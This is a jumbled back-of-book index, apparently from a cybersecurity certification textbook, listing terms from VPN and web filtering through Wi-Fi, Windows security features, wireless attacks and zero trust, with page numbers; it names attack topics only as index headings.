VPN. see virtual private 220–226
223–226
network (VPN) cloud vulnerabilities,
cross-site scripting attack,
“V’s” of data sources, 347 226–227
224–225
vulnerabilities, G-30, 16 device and OS
SQL injection attack,
Bluetooth, 298–299 vulnerabilities, 210–219
225–226
classification, 245 solutions, S-13
web application crawling, 464
endpoint configuration, supply chain vulnerabilities,
web application firewall (WAF),
281 228–229
G-30, 127
exploiting, 463

Index

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web filtering, G-30, 269–270 Wi-Fi Direct, 297 Windows File Protection
agent-based filtering, 269 Wi-Fi Protected Access (WPA), service, 280
benefits of, 269 G-30, 63, 65, 256 Windows Intune, 293
block rules, 270 Wi-Fi Protected Access 3 for locking down Android
centralized, 269–270 (WPA3), 257, 258 connectivity methods,
content categorization, 270 Wi-Fi Protected Setup (WPS), 296
issues related to, 270 G-30, 256–257 restricting device
reputation-based filtering, Wi-Fi tethering, 297 permissions using, 295
270 WikiLeaks, 20 Windows Management
URL scanning, 269–270 wildcard domain, G-30, 52–53 Instrumentation (WMI), 373,
web media, 27 Windows 374, 397
web metadata, 355 authentication, 89 Windows Server benchmarks,
WebAuthn, 78 discretionary access 252
Webex, 185 control, 81 Windows Server range, 148
WebSocket, 134 Elevation of Privilege Windows Update, 279
WEP. see Wired Equivalent vulnerability, 220 Wired Equivalent Privacy (WEP),
Privacy (WEP) end-of-life status, 212 G-30, 256
whaling, 33 Group Policy, 285, 288 wired network vectors, 25
white box testing, 239 Group Policy Objects in wireless access point (WAP),
white hat (authorized access), Windows Server 2016, 85 102, 254
19 Local Security Authority wireless attacks, 391–392
wide area networks (WANs), Subsystem Service (LSASS), key recovery, 392
101 394–395 rogue access points,
Widget, 91 local sign-in, 89 391–392
Wi-Fi logs, 350 wireless denial of service
authentication, 258–259 network sign-in, 89 attack, 392
advanced NT LAN Manager (NTLM), wireless replay, 392
authentication, 258–259 394, 395 wireless denial of service (DoS)
Remote Authentication registry, 342 attack, 392
Dial-In User Service, 259 remote sign-in, 89 wireless encryption, 256–257
WPA2 pre-shared key Security Account Manager Wi-Fi Protected Access 3,
authentication, 258 (SAM), 394–395 257
WPA3 person sign-in screen, 71 Wi-Fi Protected Setup,
authentication, 258 SYSTEM, 377, 395, 400 256–257
deperimeterization and, System File Checker tool, wireless networks. see Wi-Fi
164 280 wireless replay, 392
easy connect, 257 system memory acquisition, wireless vectors, 26
hotspots, 86 342 Wireshark, 307, 354, 389
installation considerations, User Account Control, 83, WMI. see Windows
254–255 87 Management Instrumentation
heat maps, 255 vulnerabilities, 210, 211, (WMI)
site surveys, 254–255 244 WO. see Work Order (WO)
wireless access point Windows Active Directory (AD), Work Order (WO), 457
placement, 254 89, 91, 93, 94, 396 work recovery time (WRT),
network, 74 Windows Active Directory G-30, 450
tethering, 297 network, 85, 394 workforce capacity, changes in,
ad hoc Wi-Fi, 297 Windows BitLocker, 277, 278 185
personal area networks, Windows Defender, 351 workforce multiplier, G-30,
297 Windows Desktop benchmarks, 435
tethering and hotspots, 252 working (operation),
297 Windows Event Viewer, 349, 412
Wi-Fi Direct, 297 351 workstation security, 416

Index

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workstations, 275 XDR. see extended detection security concepts, 165–167

worms, G-30, 372, 374 and response (XDR) adaptive identity, 165
WPA. see Wi-Fi Protected XML. see eXtensible Markup control and data planes
Access (WPA) Language (XML) in, significance of,
WPA2 pre-shared key XSS. see cross-site scripting 165–167
authentication, 258 (XSS) policy enforcement
WPA2 protocol, 215 point, 166
WPA3. see Wi-Fi Protected policy-driven access
Access 3 (WPA3) Y control, 165
WPS. see Wi-Fi Protected Setup YAML, 151 threat scope reduction,
(WPS) 165
Write (w), in Linux, 283 solutions, S-11
write blocker, G-30, 343 Z zero-click, 27
write up, read down, 82 Zeek/Bro, 124 zero-day attacks, G-30, 214,
WRT. see work recovery time zero filling, 180 268
(WRT) zero standing privileges (ZSP), ZFS, 177
87 Zone Signing Key, 315
X zero trust architectures (ZTA), zone-based security topology,
G-30, 163, 164 106–108
X.500, 90 benefits of, 164 zone-redundant storage,
X.509, 49 components of, 148
XaaS. see anything as a service 164 Zoom, 185
(XaaS) definition and concept ZSP. see zero standing
XCCDF. see Extensible of, 163 privileges (ZSP)
Configuration Checklist examples, 167 ZTA. see zero trust
Description Format (XCCDF) goal of, 166 architectures (ZTA)

Index

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